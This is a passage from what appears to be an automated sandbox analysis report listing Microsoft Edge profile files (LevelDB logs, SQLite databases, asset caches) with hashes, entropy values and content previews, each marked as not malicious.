SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.22285605423049
Encrypted:	false
SSDEEP:	24576:v+/PN8FHfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN8tfx2mjF
MD5:	72266509DC29F28B47B71A76F7939AFF
SHA1:	4CA2B720CCDE6CBA3BB36D803901E1F9430FE2C3
SHA-256:	C8986BEEBA8D476CC54FF29D23629D90B0B5C870AC79D4F751A40AF12BC1E99F
SHA-512:	98886D7B6B72DE93419DB3117182ADAB960B5595674AA6C32871A28E208658BECD0EFC74573D160B0C35561E638700625E477D9C7FD9345FBB2420A2FD32535B
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.04094466199738
Encrypted:	false
SSDEEP:	6:cF+73Vq2P923oH+Tcwt9Eh1tIFUt8PF+N+gZmw+PF+d0SIkwO923oH+Tcwt9Eh1H:bVv4Yeb9Eh16FUt8tg/+I0SI5LYeb9Er
MD5:	9A86327F167FF4E6E12F8ED9D7BC20D1
SHA1:	9A1A7C17495871E74638818673BEF9E1C7DD3BAB
SHA-256:	EEEEC866B667CE8054249B3DD89781968CF37267C0D15016D8086553C8F145B1
SHA-512:	5A399B2540B8CF0DE0BBEE710B1C5386AB49C0BF294B5FE34ECDBC07AC031E616527D54ED940A6CE34C74D5DF9320379CD8ED9FCCF8AF6331007C11144EDA170
Malicious:	false
Preview:	2024/12/27-02:20:37.322 12d0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/12/27-02:20:37.325 12d0 Recovering log #3.2024/12/27-02:20:37.342 12d0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.04094466199738
Encrypted:	false
SSDEEP:	6:cF+73Vq2P923oH+Tcwt9Eh1tIFUt8PF+N+gZmw+PF+d0SIkwO923oH+Tcwt9Eh1H:bVv4Yeb9Eh16FUt8tg/+I0SI5LYeb9Er
MD5:	9A86327F167FF4E6E12F8ED9D7BC20D1
SHA1:	9A1A7C17495871E74638818673BEF9E1C7DD3BAB
SHA-256:	EEEEC866B667CE8054249B3DD89781968CF37267C0D15016D8086553C8F145B1
SHA-512:	5A399B2540B8CF0DE0BBEE710B1C5386AB49C0BF294B5FE34ECDBC07AC031E616527D54ED940A6CE34C74D5DF9320379CD8ED9FCCF8AF6331007C11144EDA170
Malicious:	false
Preview:	2024/12/27-02:20:37.322 12d0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/12/27-02:20:37.325 12d0 Recovering log #3.2024/12/27-02:20:37.342 12d0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46325222331921867
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuzr:TouQq3qh7z3bY2LNW9WMcUvBu3
MD5:	AC3E8AAF332748BC093CDCA9F184F00D
SHA1:	824AA9C9839A4FFD178A1BC94068E73B299A77B5
SHA-256:	508B1522FCA25F28C4370EFF78DB4442578516614CD3FED8B892FB9D803AA6C4
SHA-512:	151EAD923FD3B360D71993518D821A2EA73AD83AA321EBEEA105DB1A81491C5052C4B387931881511D061F1106ABC754325BF44EDB885E0448109C1D4784A936
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.204808210810959
Encrypted:	false
SSDEEP:	6:cF+034q2P923oH+TcwtnG2tMsIFUt8PF+YxJZmw+PF+YxDkwO923oH+TcwtnG2tF:UIv4Yebn9GFUt8hb/+hx5LYebn95J
MD5:	4BE4CAB16258042E7AA27DAC24CAD0A2
SHA1:	232CA454BD02E0CDFA010EE57362621998F764C4
SHA-256:	2C5039852676DDA520BBB885D427F08AB312E4168EBB8A818489C28C14554571
SHA-512:	A384B3AF7F8793759185D44AE8624C79A6BE1A86B84D90773E3CCDC79D44CE80AF39DF47152641E614725DE10B66ADAB73E4D0A8DE9A6901C66BB7363040FBBF
Malicious:	false
Preview:	2024/12/27-02:20:31.769 1540 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/12/27-02:20:31.891 1540 Recovering log #3.2024/12/27-02:20:31.891 1540 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.204808210810959
Encrypted:	false
SSDEEP:	6:cF+034q2P923oH+TcwtnG2tMsIFUt8PF+YxJZmw+PF+YxDkwO923oH+TcwtnG2tF:UIv4Yebn9GFUt8hb/+hx5LYebn95J
MD5:	4BE4CAB16258042E7AA27DAC24CAD0A2
SHA1:	232CA454BD02E0CDFA010EE57362621998F764C4
SHA-256:	2C5039852676DDA520BBB885D427F08AB312E4168EBB8A818489C28C14554571
SHA-512:	A384B3AF7F8793759185D44AE8624C79A6BE1A86B84D90773E3CCDC79D44CE80AF39DF47152641E614725DE10B66ADAB73E4D0A8DE9A6901C66BB7363040FBBF
Malicious:	false
Preview:	2024/12/27-02:20:31.769 1540 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/12/27-02:20:31.891 1540 Recovering log #3.2024/12/27-02:20:31.891 1540 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6140812347265813
Encrypted:	false
SSDEEP:	12:TLs9pRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7mWqz9MAqAN7z:TLapR+DDNzWjJ0npnyXKUO8+jJ9pymL
MD5:	E2AF323CD6D99D90E0BB3FBD2BE882DD
SHA1:	FAA50324C87F1DE8A35308739CB210487C77AF6F
SHA-256:	CAB840B522BA0696F0641A3D26A3B7192141706A799749A43CAE2271F1327AFA
SHA-512:	4099587F0B07AFB203593E9E19B2A684D55ABB84F029499A4117E6B2D76305C86E3BE68ECA9D486CC8446C19284E792C1FD00EE8448456FA83767BCA717819A3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354100415564454
Encrypted:	false
SSDEEP:	6144:nA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:nFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	7F552EE46E00F40B58AC3F267DC9EB5C
SHA1:	EF8D785A83B3957DA5EB84149BD4D868BC001CF9
SHA-256:	0E2BB1521D41FF6BC015BCE4FB3B80E1744D8202DC1F24BED3101531959E8B3E
SHA-512:	2E451829377BFEEEA987EE0038A8BB55BC41DBF960F82E33DA498E6C16AE634AB89A47ACE4D68901DBC113DCC11F12FFFCE3AB06F59B1E03D814587F807D00D0
Malicious:	false
Preview:	...m.................DB_VERSION.1M.Z.q...............&QUERY_TIMESTAMP:domains_config_gz2...13379757642071930..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.095510111532203
Encrypted:	false
SSDEEP:	6:cF+untB1923oH+Tcwtk2WwnvB2KLlmF+mQq2P923oH+Tcwtk2WwnvIFUv:+MYebkxwnvFLXv4YebkxwnQFUv
MD5:	EC826CBCC31C8709B9870EF8574C7A9A
SHA1:	21114497CDC5FB9E05EF596E89E52FE3DC0EF018
SHA-256:	F38D10A892549C40FDD648EE803FA5AD3C563A98E7B1A79D4A9EDC03EFB8E3ED
SHA-512:	91AD5550EA40C6A537E590B13A098D252CF2A72492CFE7EDAAFE95928F57DDB842A66A3DE8141587E91233AFEC1EE11205F75957C9000BE54EB77616813D82DD
Malicious:	false
Preview:	2024/12/27-02:20:37.275 2020 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/12/27-02:20:37.424 2020 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358859
Entropy (8bit):	5.324605429065776
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rj:C1gAg1zfv7
MD5:	FA11AE4199032039FB1B7FDF6FCB21A2
SHA1:	2E7D98869F6C69CF230FB22F355624DD01264950
SHA-256:	4FA48321935EAF5A7FB8D9CF4ACEC5FCF3D9DF9B3E72A7A3F3DC030FD0565929
SHA-512:	3BAD367C976A3435125F321C8DC0F502D433D2733B7A11D871F9E15FA1EBF2EB9174BB1F5323B68AD17ABEFF29645133782E67CEEC131CFD3D854977E7ECFB39
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.1502933673056654
Encrypted:	false
SSDEEP:	6:cF+sIq2P923oH+Tcwt8aPrqIFUt8PF+5FPZmw+PF+5FdkwO923oH+Tcwt8amLJ:Vv4YebL3FUt8Ml/+M35LYebQJ
MD5:	035620E26C293E8A13E1AFE67D75C431
SHA1:	EC1DEED9720FB7BA2F31429A9A1EF1F313AFE06F
SHA-256:	370EA3E243F111E26C7984CC80E19AB1BF3FA9D09B524F9A1DEA2D9E5FC42444
SHA-512:	30EC2752C1E166ED5EDCF30D20BF48EDFD81070D9495EE2522B5407E0A9B6A1F8916E25F648E19525E4F637BF902175E254EE84110F180632B196882A9AECB11
Malicious:	false
Preview:	2024/12/27-02:20:31.774 19f4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/12/27-02:20:31.775 19f4 Recovering log #3.2024/12/27-02:20:31.775 19f4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.1502933673056654
Encrypted:	false
SSDEEP:	6:cF+sIq2P923oH+Tcwt8aPrqIFUt8PF+5FPZmw+PF+5FdkwO923oH+Tcwt8amLJ:Vv4YebL3FUt8Ml/+M35LYebQJ
MD5:	035620E26C293E8A13E1AFE67D75C431
SHA1:	EC1DEED9720FB7BA2F31429A9A1EF1F313AFE06F
SHA-256:	370EA3E243F111E26C7984CC80E19AB1BF3FA9D09B524F9A1DEA2D9E5FC42444
SHA-512:	30EC2752C1E166ED5EDCF30D20BF48EDFD81070D9495EE2522B5407E0A9B6A1F8916E25F648E19525E4F637BF902175E254EE84110F180632B196882A9AECB11
Malicious:	false
Preview:	2024/12/27-02:20:31.774 19f4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/12/27-02:20:31.775 19f4 Recovering log #3.2024/12/27-02:20:31.775 19f4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.161286350705174
Encrypted:	false
SSDEEP:	6:cF+m4q2P923oH+Tcwt865IFUt8PF+1F9ZZmw+PF+1F9zkwO923oH+Tcwt86+ULJ:Zv4Yeb/WFUt8ArZ/+Arz5LYeb/+SJ
MD5:	18E07BE91A060AA93A457D788ACF4AB0
SHA1:	1977744EFD1655FF16E9911A738A2AB292982A3E
SHA-256:	5ED18C05DCE7DD466FEF78F580479E45BD99952D2CBCE1B027BE158C9323E3A9
SHA-512:	7835055E3836CDB9C1ACD324BFC93B8C8DD4569081C54FB3FB303C853B3ACDB8E6FD4D27FBA632B6B3EED34FDC58C75B5E2A79EAA40F97A79701D9357FC0FEF6
Malicious:	false
Preview:	2024/12/27-02:20:31.778 19f4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/12/27-02:20:31.779 19f4 Recovering log #3.2024/12/27-02:20:31.779 19f4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.161286350705174
Encrypted:	false
SSDEEP:	6:cF+m4q2P923oH+Tcwt865IFUt8PF+1F9ZZmw+PF+1F9zkwO923oH+Tcwt86+ULJ:Zv4Yeb/WFUt8ArZ/+Arz5LYeb/+SJ
MD5:	18E07BE91A060AA93A457D788ACF4AB0
SHA1:	1977744EFD1655FF16E9911A738A2AB292982A3E
SHA-256:	5ED18C05DCE7DD466FEF78F580479E45BD99952D2CBCE1B027BE158C9323E3A9
SHA-512:	7835055E3836CDB9C1ACD324BFC93B8C8DD4569081C54FB3FB303C853B3ACDB8E6FD4D27FBA632B6B3EED34FDC58C75B5E2A79EAA40F97A79701D9357FC0FEF6
Malicious:	false
Preview:	2024/12/27-02:20:31.778 19f4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/12/27-02:20:31.779 19f4 Recovering log #3.2024/12/27-02:20:31.779 19f4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.111454688066266
Encrypted:	false
SSDEEP:	6:cF+ulcM+q2P923oH+Tcwt8NIFUt8PF+ulJZmw+PF+xjMVkwO923oH+Tcwt8+eLJ:icM+v4YebpFUt8LJ/+SjMV5LYebqJ
MD5:	C94D36494AA00C9DB555BADDDD142280
SHA1:	8A4005346DCC21CD42E3736E9A1CCC5ABB7442AE
SHA-256:	EB85CF03036501EF92293AF5D0C3C3D83D2F5537F86DB23DA2613314526AB528
SHA-512:	5EE81991F0315AD41BB4610F8AF801CBA9982C0F6136414030C5A8668172A1914AB489489081ECC7C86C0D6BE3F30867B2B3BB3BF6D8C374D844C3BD33F9AE27
Malicious:	false
Preview:	2024/12/27-02:20:32.521 138c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/12/27-02:20:32.521 138c Recovering log #3.2024/12/27-02:20:32.532 138c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.111454688066266
Encrypted:	false
